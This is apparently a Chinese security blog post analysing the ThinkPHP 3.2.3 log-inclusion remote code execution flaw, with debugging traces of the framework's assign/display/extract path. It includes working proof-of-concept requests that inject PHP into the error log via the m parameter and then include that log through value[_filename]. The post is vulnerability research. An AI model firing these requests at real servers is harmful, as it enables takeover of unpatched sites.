thinkphp3.2.3日志包含分析

thinkphp3.2.3日志包含分析

入口点修改

入口点在\Application\Home\Controller\IndexController.class.php

image-20220528223754541

我们将这个初始的index代码进行修改,这里的第6行,如果不是这样的话,会有一点问题,这个之后会详细分析

我刚开始的调试过程中,第6行为 $this->assign('value',$value);,这个会导致一个问题,之后会分析

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($value=''){
        $this->assign($value);
        $this->display();
    }
}

调用流程图

在这里插入图片描述

调试分析

assign

首先查看assign的过程

image-20220614223825071

在第122行,调用了assign函数

image-20220614223905117

ThinkPHP\Library\Think\View.class.php中定义的assign()

image-20220614223951932

到这里就会发现一个问题,这里会创建一个tVar[‘name’]=$value,而这个name的值就是value,就是之后一切数组嵌套的原因,这是因为我的最开始的\Application\Home\Controller\IndexController.class.php中写的有问题

image-20220614224401367

我们将assign的第一个参数删除,那么在assign()函数中,就会满足if条件,进行第38行

image-20220614224534074

然后执行display的时候,tVar中才是一个键值对,而不是value中又有一个键值对

image-20220614224624967

display

从最开始的display开始

image-20220614201034141

然后在ThinkPHP\Library\Think\View.class.php的第125行,进行赋值,将tVar传值给了$params

image-20220614201221624

ThinkPHP\Library\Think\Hook.class.php的listen函数中,第89行,将$params传入exec函数

image-20220614201434000

然后ThinkPHP\Library\Think\Hook.class.php的exec中,第119行,将params传入run函数

image-20220614201528362

ThinkPHP\Library\Behavior\ParseTemplateBehavior.class.php的run函数这里,data其实就是params,然后将data[‘var’]传入fetch函数

image-20220614201624035

ThinkPHP\Library\Think\Template.class.php中,第75行,将上面的传入的data[‘var’]赋值为this->tVar,然后77行,将this->tVar传入load函数

image-20220614201840121

ThinkPHP\Library\Think\Storage\Driver\File.class.php中第77行进行判断,然后再78行进行extract赋值,但是因为是嵌套数组,所以其实是整了个value数组,但是value没定义,如左边的变量

image-20220614202003642

所以其实这个display(),就是整一个params,然后一路传参,然后利用最后第78行的extract赋值,覆盖_filename,进行文件包含

我的问题在于刚开始的params是个嵌套数组,多嵌套了一层,这就是问题所在!!!

所以将最开始的 $this->assign('value',$value);删除第一个参数即可

poc分析

m参数指定文件夹,c参数指定控制器,a参数指定方法,value参数就是我们的可控参数

首先传参m

index.php?m=--><?=phpinfo();?>

在这里插入图片描述

然后在Application\Runtime\Logs\Common\22_06_14.log中有记录

image-20220614192111827

得到日志文件的路径,然后文件包含执行任意命令

index.php?m=Home&c=Index&a=index&value[_filename]=.\Application\Runtime\Logs\Common\22_06_14.log

关于日志文件生成

日志文件有两类,日志以天为单位进行记录

Application\Runtime\Logs\Common\22_06_14.log
Application\Runtime\Logs\Home\22_06_14.log

在这里插入图片描述

当调试模式开启

在这里插入图片描述
不报错的情况下,在Application\Runtime\Logs\Home\中生成日志
在这里插入图片描述
报错的情况下,在Application\Runtime\Logs\Common中生成日志

在这里插入图片描述

当调试模式关闭

在这里插入图片描述
不报错的情况下,不生成日志

报错的情况下,在Application\Runtime\Logs\Common中生成日志

在这里插入图片描述

关于payload

index.php?m=Home&c=Index&a=index&value[_filename]=.\Application\Runtime\Logs\Common\22_06_14.log

三个参数分别是模块,控制器,操作

这里m参数指定文件夹,c参数指定控制器,a参数指定方法,value参数就是我们的可控参数

thinkphp采用单一入口模式访问应用,对应用的所有请求都定向到应用的入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作,下面是一个标准的URL访问格式:

第一种访问方式
http://localhost:/thinkphp/index.php/Home/Index/index  入口文件/模块/控制器/操作
第二种访问方式(传参数)
http://localhost:/thinkphp/index.php?m=Home&c=Index&a=index  传三个参数

参考链接

  1. thinkphp3.2.3 日志文件包含分析 - ProcessOn
  2. 【漏洞通报】ThinkPHP3.2.x RCE漏洞通报 - 云+社区 - 腾讯云 (tencent.com)
  3. ThinkPHP3.2.x RCE复现 | 0xCreed (jxustctf.top)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP是一个开源的PHP开发框架,它的版本3.2.x是一个老版本,存在远程命令执行(RCE)漏洞。这个漏洞允许攻击者通过构造恶意请求来执行任意的系统命令,从而获得对应用服务器的完全控制权限。 这个漏洞的原因是在ThinkPHP 3.2.x版本的核心代码中没有对用户的输入进行充分的过滤和校验。攻击者可以利用这个漏洞来执行各种恶意操作,比如上传恶意文件、修改数据库内容或者获取系统敏感信息等。 为了利用这个漏洞,攻击者需要构造一个特殊的请求,其中包含可执行的系统命令。然后将这个请求发送到受影响的应用程序的漏洞点上。当应用程序在处理这个请求时,会将其中的系统命令当作可执行代码来执行,最终导致攻击者获取对应用服务器的控制权限。 为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架。在最新版本中,开发者已经修复了这个漏洞,并加强了对用户输入的过滤和校验。此外,用户还可以根据自己的需求对应用程序进行进一步的安全加固,比如限制上传文件的类型和大小,对用户输入进行严格的过滤和校验等。 总之,ThinkPHP 3.2.x版本存在远程命令执行漏洞,攻击者可以通过构造恶意请求来执行任意的系统命令。为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架,并加强应用程序的安全加固措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值